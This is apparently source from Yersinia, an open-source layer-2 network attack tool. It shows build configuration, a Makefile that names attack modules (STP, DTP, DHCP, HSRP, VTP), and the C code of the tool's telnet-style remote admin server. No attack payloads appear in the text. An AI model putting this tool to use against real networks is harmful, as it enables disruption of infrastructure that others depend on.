AC_DEFUN([AC_SEARCH_NCURSES], [
AC_CHECKING("location of ncurses.h file")
AC_NCURSES(/usr/include, ncurses.h, -lncurses,, "ncurses on /usr/include")
AC_NCURSES(/usr/include/ncurses, ncurses.h, -lncurses, -I/usr/include/ncurses, "ncurses on /usr/include/ncurses")
AC_NCURSES(/usr/local/include, ncurses.h, -L/usr/local/lib -lncurses, -I/usr/local/include, "ncurses on /usr/local")
AC_NCURSES(/usr/local/include/ncurses, ncurses.h, -L/usr/local/lib -L/usr/local/lib/ncurses -lncurses, -I/usr/local/include/ncurses, "ncurses on /usr/local/include/ncurses")
AC_NCURSES(/usr/local/include/ncurses, curses.h, -L/usr/local/lib -lncurses, -I/usr/local/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/local/.../ncurses")
AC_NCURSES(/usr/include/ncurses, curses.h, -lncurses, -I/usr/include/ncurses -DRENAMED_NCURSES, "renamed ncurses on /usr/include/ncurses")
dnl
dnl We couldn't find ncurses, try SysV curses
dnl
if $search_ncurses
then
AC_EGREP_HEADER(init_color, /usr/include/curses.h,
AC_USE_SYSV_CURSES)
AC_EGREP_CPP(USE_NCURSES,[
#include <curses.h>
#ifdef __NCURSES_H
#undef USE_NCURSES
USE_NCURSES
#endif
],[
CURSES_INCLUDEDIR="$CURSES_INCLUDEDIR -DRENAMED_NCURSES"
AC_DEFINE(HAS_CURSES)
has_curses=true
AC_DEFINE(USE_NCURSES)
search_ncurses=false
screen_manager="ncurses installed as curses"
])
fi
dnl
dnl Try SunOS 4.x /usr/5{lib,include} ncurses
dnl The flags USE_SUNOS_CURSES, USE_BSD_CURSES and BUGGY_CURSES
dnl should be replaced by a more fine grained selection routine
dnl
if $search_ncurses
then
if test -f /usr/5include/curses.h
then
AC_USE_SUNOS_CURSES
fi
else
# check for ncurses version, to properly ifdef mouse-fix
AC_MSG_CHECKING(for ncurses version)
ncurses_version=unknown
cat > conftest.$ac_ext <<EOF
[#]line __oline__ "configure"
#include "confdefs.h"
#ifdef RENAMED_NCURSES
#include <curses.h>
#else
#include <ncurses.h>
#endif
#undef VERSION
VERSION:NCURSES_VERSION
EOF
if (eval "$ac_cpp conftest.$ac_ext") 2>&AC_FD_CC |
egrep "VERSION:" >conftest.out 2>&1; then
changequote(,)dnl
ncurses_version=`cat conftest.out|sed -e 's/^[^"]*"//' -e 's/".*//'`
changequote([,])dnl
fi
rm -rf conftest*
AC_MSG_RESULT($ncurses_version)
case "$ncurses_version" in
changequote(,)dnl
4.[01])
changequote([,])dnl
AC_DEFINE(NCURSES_970530,2)
;;
1.9.9g)
AC_DEFINE(NCURSES_970530,1)
;;
1*)
AC_DEFINE(NCURSES_970530,0)
;;
esac
fi
])
AC_CHECK_CURSES
AM_CONDITIONAL(HAS_CURSES, test "$has_curses" = true)
if test "$has_curses" = "true"; then
AC_CHECK_HEADERS(panel.h)
AC_CHECK_LIB(ncurses, use_default_colors, [AC_DEFINE(HAVE_NCURSES_USE_DEFAULTS_COLORS,1,[Define to 1 if have use_default_colors])])
AC_CHECK_LIB(ncurses, resize_term, [AC_DEFINE(HAVE_NCURSES_RESIZETERM,1,[Define to 1 if have resizeterm])])
AC_CHECK_LIB(ncurses, wresize, [AC_DEFINE(HAVE_NCURSES_WRESIZE,1,[Define to 1 if have wresize])])
fi
dnl
dnl GTK Interface checks
dnl
dnl AC_ARG_ENABLE(gtk, [ --without-gtk disable gtk 2.0 interface],,enable_gtk=true)
dnl AH_TEMPLATE([HAVE_GTK], [gtk interface support])
dnl AM_CONDITIONAL(HAVE_GTK, test "$enable_gtk" = true)
AC_ARG_ENABLE(gtk, AC_HELP_STRING([--disable-gtk], [Disable gtk 2.0 interface]), [use_gtk=$enableval], [use_gtk=yes])
AH_TEMPLATE([HAVE_GTK], [gtk interface support])
AM_CONDITIONAL(HAVE_GTK, test $use_gtk = yes)
if test $use_gtk = yes; then
AC_DEFINE(HAVE_GTK)
pkg_modules="gtk+-2.0 >= 2.6.0"
PKG_CHECK_MODULES(PACKAGE, [$pkg_modules])
AC_SUBST(PACKAGE_CFLAGS)
AC_SUBST(PACKAGE_LIBS)
GETTEXT_PACKAGE=yersinia
AC_SUBST(GETTEXT_PACKAGE)
AC_DEFINE_UNQUOTED(GETTEXT_PACKAGE,"$GETTEXT_PACKAGE", [Gettext package.])
dnl Add the languages which your application supports here.
ALL_LINGUAS=""
AM_GLIB_GNU_GETTEXT
fi
AH_TEMPLATE([INFO_KERN], "Kernel name")
AH_TEMPLATE([INFO_KERN_VER], "Kernel version")
AH_TEMPLATE([INFO_PLATFORM], "Platform architecture")
AH_TEMPLATE([INFO_DATE], "Building date")
info_date="`date '+%a %d-%b-%Y %H:%M'`"
info_kern="`uname -s`"
info_kern_ver="`uname -r`"
info_platform="`uname -m`"
AC_DEFINE_UNQUOTED(INFO_KERN, "$info_kern")
AC_DEFINE_UNQUOTED(INFO_KERN_VER, "$info_kern_ver")
AC_DEFINE_UNQUOTED(INFO_PLATFORM, "$info_platform")
AC_DEFINE_UNQUOTED(INFO_DATE, "$info_date")
dnl
dnl Build Makefile.
dnl
dnl AC_CONFIG_FILES([Makefile])
AC_OUTPUT(Makefile src/Makefile)
echo ""
echo " Yersinia, our beloved one, has been configured with the following options."
echo " Remote admin : $enable_admin"
echo " Use ncurses : $has_curses"
echo " Use gtk : $use_gtk"
echo ""
================================================
FILE: src/Makefile.am
================================================
AUTOMAKE_OPTIONS = no-dependencies
DEFS = `$(LIBNET_CONFIG) --defines` @DEFS@
AM_CPPFLAGS =
LIBS = @LIBS@ -lpcap -lnet
bin_PROGRAMS = yersinia
yersinia_SOURCES = xstp.c parser.c dtp.c dtp.h\
parser.h xstp.h global.h cdp.c cdp.h dhcp.c dhcp.h\
hsrp.h hsrp.c dot1q.h dot1q.c vtp.h vtp.c arp.h arp.c isl.h isl.c\
dot1x.h dot1x.c mpls.c mpls.h thread-util.h thread-util.c\
terminal.c terminal.h terminal-defs.h interfaces.h interfaces.c\
attack.h attack.c yersinia.h yersinia.c md5.c md5.h md5-sum.c\
md5-sum.h protocols.h protocols.c dlist.h dlist.c
if HAS_CURSES
AM_CPPFLAGS += $(CURSES_INCLUDEDIR)
LIBS += -lpanel $(CURSES_LIBS)
yersinia_SOURCES +=\
ncurses-gui.c ncurses-gui.h\
ncurses-callbacks.c ncurses-callbacks.h\
ncurses-interface.c ncurses-interface.h
endif
if HAVE_GTK
AM_CPPFLAGS += @PACKAGE_CFLAGS@
DEFS += -DPACKAGE_DATA_DIR=\""$(datadir)"\" -DPACKAGE_LOCALE_DIR=\""$(prefix)/$(DATADIRNAME)/locale"\"
yersinia_SOURCES += \
gtk-gui.c gtk-gui.h\
gtk-support.c gtk-support.h \
gtk-interface.c gtk-interface.h \
gtk-callbacks.c gtk-callbacks.h
yersinia_LDADD = @PACKAGE_LIBS@ $(INTLLIBS)
endif
if HAVE_REMOTE_ADMIN
yersinia_SOURCES += admin.c admin.h commands.c commands.h commands-struct.h
endif
================================================
FILE: src/admin.c
================================================
/* admin.c
* Network server thread
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifdef HAVE_CONFIG_H
#include <config.h>
#endif
#ifndef _REENTRANT
#define _REENTRANT
#endif
#include <stdio.h>
#include <errno.h>
#ifdef HAVE_SYS_TYPES_H
#include <sys/types.h>
#endif
#ifdef HAVE_INTTYPES_H
#include <inttypes.h>
#endif
#include <sys/socket.h>
#ifdef HAVE_NETINET_IN_SYSTM_H
#include <netinet/in_systm.h>
#else
#ifdef HAVE_NETINET_IN_SYSTEM_H
#include <netinet/in_system.h>
#endif
#endif
#include <netinet/in.h>
#include <arpa/inet.h>
#include <signal.h>
#include <time.h>
#ifdef TIME_WITH_SYS_TIME
#include <sys/time.h>
#endif
#ifdef HAVE_UNISTD_H
#include <unistd.h>
#endif
#ifdef HAVE_STRING_H
#include <string.h>
#endif
#ifdef HAVE_STRINGS_H
#include <strings.h>
#endif
#ifdef HAVE_BSTRING_H
#include <bstring.h>
#endif
#ifdef STDC_HEADERS
#include <stdlib.h>
#endif
#include <stdarg.h>
#include <netinet/tcp.h>
#ifdef SOLARIS
#include <pthread.h>
#include <thread.h>
#else
#ifdef HAVE_PTHREAD_H
#include <pthread.h>
#endif
#endif
#include "admin.h"
int8_t admin_init( struct term_tty *node )
{
return thread_create( &terms->admin_listen_th, &admin_th_listen, (void *)node );
}
/*
* Thread that listen for peers connections.
* Spawn a thread per peer...
*/
void *
admin_th_listen(void *arg)
{
struct sockaddr *cliaddr=NULL;
struct sockaddr_in server_address;
struct timeval timeout;
struct filter *ip_filter;
struct term_tty *node;
int sock=0, sock2, on=1,n,ret;
socklen_t clilen;
pthread_t tid;
sigset_t mask;
fd_set read_set;
write_log(0,"\n admin_th_network_listen es %X\n",(int)pthread_self());
pthread_mutex_lock(&terms->admin_listen_th.finished);
sigfillset(&mask);
if (pthread_sigmask(SIG_BLOCK, &mask, NULL))
{
thread_error("th_listener pthread_sigmask()",errno);
admin_th_listen_exit(NULL,0);
}
node = (struct term_tty *)arg;
ip_filter = (struct filter *)node->ip_filter;
if ( (sock = socket(AF_INET, SOCK_STREAM, 0)) == -1 )
{
n=errno;
thread_error("Error on socket()",n);
admin_th_listen_exit(NULL,0);
}
if (setsockopt(sock, SOL_SOCKET, SO_REUSEADDR, (char *)&on,sizeof(on)) < 0)
{
n=errno;
thread_error("Error on setsockopt(SO_REUSEADDR)",n);
admin_th_listen_exit(NULL,sock);
}
#ifdef SO_REUSEPORT
on=1;
if (setsockopt(sock, SOL_SOCKET, SO_REUSEPORT, (char *) &on, sizeof(on))
< 0)
{
n=errno;
thread_error("Error on setsockopt(SO_REUSEPORT)",n);
admin_th_listen_exit(NULL,sock);
}
#endif
on=1;
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, (char *) &on, sizeof(on))
< 0)
{
n=errno;
thread_error("Error on setsockopt(TCP_NODELAY)",n);
admin_th_listen_exit(NULL,sock);
}
memset( (void *)&server_address, 0, sizeof( struct sockaddr_in ) );
server_address.sin_family = AF_INET;
server_address.sin_port = htons(node->port);
server_address.sin_addr.s_addr = htonl(INADDR_ANY);
if ( bind( sock, (struct sockaddr *)&server_address, sizeof(server_address) ) == -1 )
{
n=errno;
thread_error("Error on bind()",n);
admin_th_listen_exit(NULL,sock);
}
if (listen(sock,5) == -1)
{
n=errno;
thread_error("Error on listen",n);
admin_th_listen_exit(NULL,sock);
}
cliaddr=(struct sockaddr *)malloc(sizeof(struct sockaddr));
if (cliaddr == NULL)
{
n=errno;
thread_error("malloc()",n);
admin_th_listen_exit(NULL,sock);
}
while(!terms->admin_listen_th.stop)
{
FD_ZERO(&read_set);
FD_SET(sock,&read_set);
timeout.tv_sec = 0;
timeout.tv_usec= 250000;
if ((ret = select(sock+1, &read_set, NULL, NULL, &timeout)) == -1)
{
n=errno;
thread_error("admin_listen select()",n);
break;
}
if (ret)
{
struct in_addr *ip_addr;
clilen=sizeof(struct sockaddr);
if ( (sock2 = accept( sock, cliaddr, (socklen_t *)&clilen)) == -1)
{
n=errno;
thread_error("Error on accept",n);
admin_th_listen_exit(cliaddr,sock);
}
ip_addr = (struct in_addr *)&cliaddr->sa_data[2];
if (admin_filter_ip((u_int32_t *)&ip_addr->s_addr,ip_filter) < 0)
{
write_log(0,"\n Connection refused for %s!!\n", inet_ntoa(*ip_addr));
close(sock2);
}
else
{
write_log(0,"\n Connection accepted for %s\n", inet_ntoa(*ip_addr));
if ( pthread_create( &tid, NULL, &admin_th_network_peer, (void *)sock2 ) < 0)
{
n=errno;
thread_error("pthread_create admin_th_listen",n);
admin_th_listen_exit(cliaddr,sock);
}
}
}
}
admin_th_listen_exit(cliaddr, sock);
pthread_exit(NULL);
}
int8_t
admin_filter_ip(u_int32_t *ip_addr, struct filter *ip_filter)
{
struct filter *cursor;
u_int32_t ipaddr;
cursor = ip_filter;
if (!cursor)
return 0;
ipaddr = ntohl((*ip_addr));
while(cursor)
{
if ( ( ipaddr >= cursor->begin) &&
( ipaddr <= cursor->end) )
{
write_log(0,"IP Matched between %08X and %08X...\n",cursor->begin, cursor->end);
return 0;
}
cursor = cursor->next;
}
return -1;
}
/*
* We arrived here due to normal termination
* from thread listener main routine...
* Release resources and delete all acquired network terminals...
*/
void
admin_th_listen_exit(struct sockaddr *cliaddr, int sock)
{
if (cliaddr)
thread_free_r(cliaddr);
term_delete_all_vty();
if (sock)
close(sock);
terms->admin_listen_th.id = 0;
if (!terms->admin_listen_th.stop)
{
/* Tell parent that we are going to die... */
fatal_error--;
}
pthread_mutex_unlock(&terms->admin_listen_th.finished);
pthread_exit(NULL);
}
/*
* Thread to communicate with peer
*/
void *
admin_th_network_peer(void *sock)
{
int16_t n, bytes, i, fail, quantum;
int ret;
socklen_t len;
u_char buf[MAX_LINE+2];
time_t this_time;
fd_set read_set;
struct sockaddr_in name;
struct timeval timeout;
struct term_vty *vty;
struct term_node *term_node=NULL;
memset(buf, 0, MAX_LINE+2);
write_log(0,"vty peer %X mutex_lock terms \n",pthread_self());
if (pthread_mutex_lock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_lock",errno);
fail = term_add_node(&term_node, TERM_VTY, sock, pthread_self());
if (fail == -1)
{
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_unlock",errno);
admin_th_network_peer_exit(term_node, sock);
}
if (term_node == NULL)
{
write_log(0,"Ouch!! No more than %d %s accepted!!\n",
term_type[TERM_VTY].max, term_type[TERM_VTY].name);
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_unlock",errno);
admin_th_network_peer_exit(term_node, sock);
}
pthread_mutex_lock(&term_node->thread.finished);
vty = term_node->specific;
this_time = time(NULL);
#ifdef HAVE_CTIME_R
#ifdef SOLARIS
ctime_r(&this_time,term_node->since, sizeof(term_node->since));
#else
ctime_r(&this_time, term_node->since);
#endif
#else
pthread_mutex_lock(&mutex_ctime);
strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)-1);
pthread_mutex_unlock(&mutex_ctime);
#endif
/* Just to remove the cr+lf...*/
term_node->since[sizeof(term_node->since)-2] = 0;
len = sizeof(struct sockaddr);
if ( getpeername(vty->sock, (struct sockaddr *)&name, &len) < 0)
{
thread_error("getpeername",errno);
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_vty_peer pthread_mutex_unlock",errno);
admin_th_network_peer_exit(term_node, sock);
}
if (init_attribs(term_node) < 0)
{
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_vty_peer pthread_mutex_unlock",errno);
admin_th_network_peer_exit(term_node, sock);
}
term_node->from_port = ntohs(name.sin_port);
strncpy(term_node->from_ip,inet_ntoa(name.sin_addr), sizeof(term_node->from_ip) - 1);
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_unlock",errno);
write_log(0,"vty peer %X mutex_unlock terms \n",pthread_self());
fail = 0;
fail = term_vty_banner(term_node);
if (!fail)
fail = term_vty_negotiate(term_node);
if (!fail)
fail = term_vty_prompt(term_node);
if (!fail)
fail = term_vty_flush(term_node);
vty->authing = 0;
timeout.tv_sec = 0;
timeout.tv_usec = 0;
quantum = 0;
FD_ZERO(&read_set);
while(!fail && !term_node->thread.stop)
{
FD_SET(vty->sock, &read_set);
if ( (ret=select( vty->sock+1, &read_set, NULL, NULL, &timeout ) ) == -1 )
{
n=errno;
thread_error("admin_th_network_peer select()",n);
timeout.tv_sec = 0;
timeout.tv_usec = 250000;
continue;
}
if ( !ret ) /* Timeout, decrement timers... */
{
if (quantum%4) /* 1 sec...*/
{
quantum=0;
if ( (term_node->timeout--) == 0 )
{
write_log(0," Timer-> Cancelling %s%d th_id(%d)...\n",
term_type[TERM_VTY].name, term_node->number,
(int)term_node->thread.id);
term_write(term_node, VTY_TIMEOUT_BANNER,
sizeof(VTY_TIMEOUT_BANNER));
fail = 1; /* Die...*/
}
}
else
quantum++;
}
else
{
bytes = read (vty->sock, buf, MAX_LINE);
if (!vty->authing) /* Update timeout...*/
term_node->timeout = term_states[term_node->state].timeout;
if (bytes <= 0)
break;
for (i=0; (i < bytes) && !fail; i++)
{
if (vty->sbmode)
{
switch(buf[i])
{
case COM_IAC: vty->iacmode=1;
continue;
break;
case COM_WILL:
case COM_WONT:
case COM_DO:
case COM_DONT:
vty->othermode=1;
continue;
break;
/* Suboption End...*/
case COM_SE: vty->sbmode=0;
vty->iacmode=0;
continue;
break;
case OPT_WSIZE: vty->nwsmode=1;
continue;
default: if (vty->nwsmode)
{
if (vty->term_size_index > 3)
{
vty->nwsmode=0;
vty->iacmode=0;
continue;
}
vty->term_size[vty->term_size_index]=buf[i];
if (vty->term_size_index == 3)
{
vty->width = ntohs(*((u_int16_t *)vty->term_size));
vty->height = ntohs(*((u_int16_t *)&vty->term_size[2]));
if (vty->width < MIN_TERM_WIDTH )
vty->width = MIN_TERM_WIDTH;
if (vty->width > MAX_TERM_WIDTH)
vty->width = MAX_TERM_WIDTH;
if (vty->height < MIN_TERM_HEIGHT)
vty->height = MIN_TERM_HEIGHT;
if (vty->height > MAX_TERM_HEIGHT)
vty->height = MAX_TERM_HEIGHT;
memset(vty->term_size,0,4);
vty->term_size_index=0;
vty->nwsmode=0;
vty->iacmode=0;
continue;
}
vty->term_size_index++;
}
vty->iacmode=0;
continue;
}
}
if (buf[i] == COM_IAC)
{
vty->iacmode=1;
continue;
}
if (vty->iacmode)
{
vty->iacmode=0;
switch(buf[i])
{
case COM_SB:
vty->sbmode=1;
break;
case COM_WILL:
case COM_WONT:
case COM_DO:
case COM_DONT:
default:
vty->othermode=1;
break;
}
continue;
}
if (vty->othermode)
{
vty->othermode=0;
continue;
}
/* Are we in 'more' mode? */
if (buf[i] && vty->moremode)
{ /* Clearing...*/
if (buf[i]=='q' || buf[i]=='Q' || buf[i]==CTRL_C )
{
thread_free_r(vty->buffer_tx);
vty->buffer_tx = NULL;
vty->more_tx = NULL;
vty->buffer_tx_len = 0;
vty->more_tx_len = 0;
vty->moremode = 0;
term_vty_clear_line(term_node,strlen(VTY_MORE));
fail=term_vty_prompt(term_node);
if (!fail)
fail=term_vty_flush(term_node);
}
else
{
if (buf[i] == SPACE)
fail = term_vty_flush(term_node); /* Ok, flush it...*/
if (!vty->moremode)
{
if (!fail)
fail=term_vty_flush(term_node);
}
}
continue;
}
/* ESC options begin...*/
if (buf[i] == ESC1)
{
vty->escmode = ESC1;
continue;
}
if ( (vty->escmode == ESC1) && (buf[i] == ESC2))
{
vty->escmode = ESC2;
continue;
}
if ( (vty->escmode == ESC2) && (buf[i]==ESC3) )
{
vty->escmode =ESC3;
continue;
}
if (vty->escmode == ESC2)
{
if (!vty->authing)
{
switch(buf[i])
{
case TKEY_SUPR: fail=term_vty_supr(term_node);
break;
case TKEY_INIT: fail=term_vty_mv_cursor_init(term_node);
if (!fail)
fail = term_vty_flush(term_node);
break;
case TKEY_END: fail=term_vty_mv_cursor_end(term_node);
if (!fail)
fail = term_vty_flush(term_node);
break;
case TKEY_UP: if (term_states[term_node->state].key_cursor)
fail=term_vty_history_prev(term_node);
break;
case TKEY_DOWN: if (term_states[term_node->state].key_cursor)
fail=term_vty_history_next(term_node);
break;
case TKEY_RIGHT: fail=term_vty_mv_cursor_right(term_node);
break;
case TKEY_LEFT: fail=term_vty_mv_cursor_left(term_node);
break;
}
vty->escmode=0;
continue;
}
}
if ( (vty->escmode == ESC3) && (buf[i]==INSERT) )
{
vty->insertmode=!vty->insertmode;
vty->escmode=0;
continue;
}
/* Arrived here, not escape or telnet charac...*/
switch(buf[i])
{
case '\n':continue;
case '\r': fail = term_vty_do_command(term_node);
if (!fail && !vty->moremode)
{
if (vty->clearmode)
vty->clearmode=0;
else
fail = term_vty_write(term_node, "\r\n", 2);
if (!fail)
fail = term_vty_prompt(term_node);
if (!fail)
fail = term_vty_flush(term_node);
}
continue;
break;
case '\t': if (term_states[term_node->state].key_able &&
!vty->authing)
{
fail = term_vty_write(term_node,"\r\n",2);
if (!fail)
fail = term_vty_complete_command(term_node);
if (!fail)
fail = term_vty_prompt(term_node);
if (!fail && vty->repeat_command)
fail=term_vty_write(term_node, vty->buf_command,
vty->command_len);
if (!fail)
fail = term_vty_flush(term_node);
if (!vty->repeat_command)
term_vty_clear_command(term_node);
vty->repeat_command=0;
continue;
}
break;
case '?': if (term_states[term_node->state].key_help &&
!vty->authing)
{
fail = term_vty_write(term_node,"\r\n",2);
if (!fail)
fail = term_vty_help(term_node);
if (!fail)
fail = term_vty_prompt(term_node);
if (!fail && vty->repeat_command)
fail=term_vty_write(term_node, vty->buf_command,
vty->command_len);
if (!fail)
fail = term_vty_flush(term_node);
if (!vty->repeat_command)
term_vty_clear_command(term_node);
vty->repeat_command=0;
continue;
}
break;
case BACKSPACE:
case BACKSPACE_WIN:
fail = term_vty_backspace(term_node);
if (!fail)
fail = term_vty_flush(term_node);
continue;
break;
case CTRL_C: if (term_states[term_node->state].key_able &&
!vty->authing)
{
if (term_node->state == PARAMS_STATE)
{
fail = term_vty_exit(term_node);
if (fail)
continue;
}
fail = term_vty_write(term_node,"\r\n",2);
if (!fail)
fail = term_vty_prompt(term_node);
if (!fail)
fail = term_vty_flush(term_node);
if (!fail)
term_vty_clear_command(term_node);
}
continue;
break;
case CTRL_L: if (term_states[term_node->state].key_able &&
!vty->authing)
{
fail= term_vty_clear_screen(term_node);
if (!fail)
fail=term_vty_prompt(term_node);
if (!fail)
fail=term_vty_write(term_node,
vty->buf_command, vty->command_len);
if (!fail)
fail=term_vty_flush(term_node);
vty->clearmode=0;
}
continue;
break;
case CTRL_D: fail= term_vty_exit(term_node);
if (!fail)
fail=term_vty_write(term_node,"\r\n",2);
if (!fail)
fail=term_vty_prompt(term_node);
if (!fail)
fail=term_vty_flush(term_node);
if (!fail)
term_vty_clear_command(term_node);
continue;
break;
case CTRL_U: if (term_states[term_node->state].key_able &&
!vty->authing)
{
fail=term_vty_clear_remote(term_node);
if (!fail)
fail=term_vty_flush(term_node);
if (!fail)
term_vty_clear_command(term_node);
}
continue;
break;
}
/* Ok, add to command buff...*/
if (buf[i]>31 && buf[i]<123 && !fail)
{
if (vty->insertmode) /* Terminal in mode INSERT...*/
{
if (vty->command_len == MAX_COMMAND)
{
fail=term_vty_write(term_node,"\x7",1);
if (!fail)
fail=term_vty_flush(term_node);
}
else
{
if (vty->command_len == vty->command_cursor)
{
vty->buf_command[vty->command_cursor]=buf[i];
if (term_states[term_node->state].do_echo &&
!vty->authing)
{
fail = term_vty_write(term_node, (char *)&buf[i], 1);
if (!fail)
fail=term_vty_flush(term_node);
}
}
else
{
u_int16_t len=0;
char *message, *auxstr;
len = vty->command_len - vty->command_cursor;
auxstr = strdup(&vty->buf_command[vty->command_cursor]);
if (auxstr == NULL)
{
write_log(0,"admin_th_network_peer strdup == NULL");
fail = -1;
continue;
}
memcpy( &vty->buf_command[vty->command_cursor+1],
auxstr, len);
free(auxstr);
vty->buf_command[vty->command_cursor]=buf[i];
if (term_states[term_node->state].do_echo &&
!vty->authing)
{
fail = term_vty_clear_line(term_node,len);
if (!fail)
term_vty_write(term_node, (char *)&buf[i],1);
term_vty_write(term_node, &vty->buf_command[vty->command_cursor+1], len);
message = (char *)malloc(len);
if (message == NULL)
{
thread_error("admin_th_network_peer malloc",errno);
fail = -1;
continue;
}
memset(message, DEL, len);
fail = term_vty_write(term_node, message, len);
free(message);
if (!fail)
fail=term_vty_flush(term_node);
}
}
vty->command_len++;
vty->command_cursor++;
vty->buf_command[vty->command_len] = 0;
}
} /* insert mode */
else
{
if (vty->command_len < MAX_COMMAND)
{
if (vty->command_len > vty->command_cursor)
{
vty->buf_command[vty->command_cursor]=buf[i];
vty->command_cursor++;
}
else
{
vty->buf_command[vty->command_len]=buf[i];
vty->command_len++;
vty->command_cursor++;
}
if (term_states[term_node->state].do_echo &&
!vty->authing)
{
fail=term_vty_write(term_node, (char *)&buf[i], 1);
if (!fail)
fail=term_vty_flush(term_node);
}
}
else
{
if (vty->command_len > vty->command_cursor)
{
vty->buf_command[vty->command_cursor]=buf[i];
vty->command_cursor++;
if (term_states[term_node->state].do_echo)
{
fail=term_vty_write(term_node, (char *)&buf[i], 1);
if (!fail)
fail=term_vty_flush(term_node);
}
}
else
{
fail=term_vty_write(term_node,"\x7",1);
if (!fail)
fail=term_vty_flush(term_node);
}
}
vty->buf_command[vty->command_len] = 0;
} /* insert mode */
} /* if printable */
} /* Next char on buffer...*/
} /* if select */
timeout.tv_sec = 0;
timeout.tv_usec = 250000;
} /* While(!fail && !stop) */
admin_th_network_peer_exit(term_node,0);
return(NULL);
}
/*
* We arrived here due to normal termination
* from thread peer main routine...
* Release resources and delete acquired terminal...
*/
void
admin_th_network_peer_exit(struct term_node *term_node, int sock)
{
dlist_t *p;
struct interface_data *iface_data;
if (term_node)
{
for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p))
{
iface_data = (struct interface_data *) dlist_data(p);
interfaces_disable(iface_data->ifname);
}
attack_kill_th(term_node,ALL_ATTACK_THREADS);
if (pthread_mutex_lock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_lock",errno);
term_delete_node(term_node, NOKILL_THREAD);
if (pthread_mutex_unlock(&terms->mutex) != 0)
thread_error("th_network_peer pthread_mutex_unlock",errno);
if (pthread_mutex_unlock(&term_node->thread.finished) != 0)
thread_error("th_network_peer pthread_mutex_unlock",errno);
}
else
{
if (sock)
close(sock);
}
write_log(0," admin_peer_th %X finished...\n",(int)pthread_self());
pthread_exit(NULL);
}
/*
* Turn down the network admin interface...
* I'm unaware of handling errors 'cause we're going to die...
*/
void
admin_exit(void)
{
#ifdef HAVE_REMOTE_ADMIN
/* Kill the admin listener thread... */
/* In fact, the admin listener thread will kill all the peer threads */
/* associated with the vty terminals, and each one will delete every */
/* vty terminal. */
if (terms->admin_listen_th.id)
thread_destroy(&terms->admin_listen_th);
#endif
}
/* vim:set tabstop=4:set expandtab:set shiftwidth=4:set textwidth=120: */
================================================
FILE: src/admin.h
================================================
/* admin.h
* Definitions for network server thread
*
* Yersinia
* By David Barroso <tomac@yersinia.net> and Alfredo Andres <aandreswork@hotmail.com>
* Copyright 2005-2017 Alfredo Andres and David Barroso
*
* This program is free software; you can redistribute it and/or
* modify it under the terms of the GNU General Public License
* as published by the Free Software Foundation; either version 2
* of the License, or (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program; if not, write to the Free Software
* Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#ifndef __ADMIN_H__
#define __ADMIN_H__
#include "terminal-defs.h"
#include "interfaces.h"
/* Own functions... */
int8_t admin_init(struct term_tty *);
void admin_exit(void);
void *admin_th_listen(void *);
void admin_th_listen_clean(void *);
void admin_th_listen_exit(struct sockaddr *, int);
void *admin_th_network_peer(void *);
void admin_th_network_peer_clean(void *);
void admin_th_network_peer_exit(struct term_node *, int);
int8_t admin_filter_ip(u_int32_t *, struct filter *);
/* Extern variables...*/
extern struct terminals *terms;
extern struct term_types term_type[];
extern struct term_states term_states[];
extern u_int32_t uptime;
extern int8_t bin_data[];
/* Extern functions...*/
extern void write_log( u_int16_t mode, char *msg, ... );
extern int8_t attack_kill_th(struct term_node *, pthread_t);
extern int8_t term_add_node(struct term_node **, int8_t, int32_t, pthread_t);
extern int8_t term_write(struct term_node *, char *, u_int16_t);
extern void term_delete_all(void);
extern void term_delete_node(struct term_node *, int8_t);
extern void term_delete_all_vty(void);
extern int8_t term_vty_banner(struct term_node *);
extern int8_t term_vty_prompt(struct term_node *);
extern int8_t term_vty_motd(struct term_node *);
extern int8_t term_vty_negotiate(struct term_node *);
extern int8_t term_vty_history_add(struct term_node *, char *, u_int16_t);
extern int8_t term_vty_history_next(struct term_node *);
extern int8_t term_vty_history_prev(struct term_node *);
extern int8_t term_vty_mv_cursor_right(struct term_node *);
extern int8_t term_vty_mv_cursor_left(struct term_node *);
extern int8_t term_vty_mv_cursor_init(struct term_node *);
extern int8_t term_vty_mv_cursor_end(struct term_node *);
extern int8_t term_vty_supr(struct term_node *);
extern int8_t term_vty_do_command(struct term_node *);
extern int8_t term_vty_complete_command(struct term_node *);
extern int8_t term_vty_backspace(struct term_node *);
extern int8_t term_vty_help(struct term_node *);
extern int8_t term_vty_auth(int8_t, char *, char *);
extern int8_t term_vty_flush(struct term_node *);
extern int8_t term_vty_write(struct term_node *, char *, u_int16_t);
extern int8_t term_vty_clear_line(struct term_node *, u_int16_t);
extern void term_vty_clear_command(struct term_node *);
extern int8_t term_vty_exit(struct term_node *);
extern int8_t term_vty_clear_screen(struct term_node *);
extern int8_t term_vty_clear_remote(struct term_node *);
//extern int8_t thread_create(pthread_t *, void *, void *);
extern int8_t thread_create( THREAD *, void *, void *);
extern void thread_error(char *, int8_t);
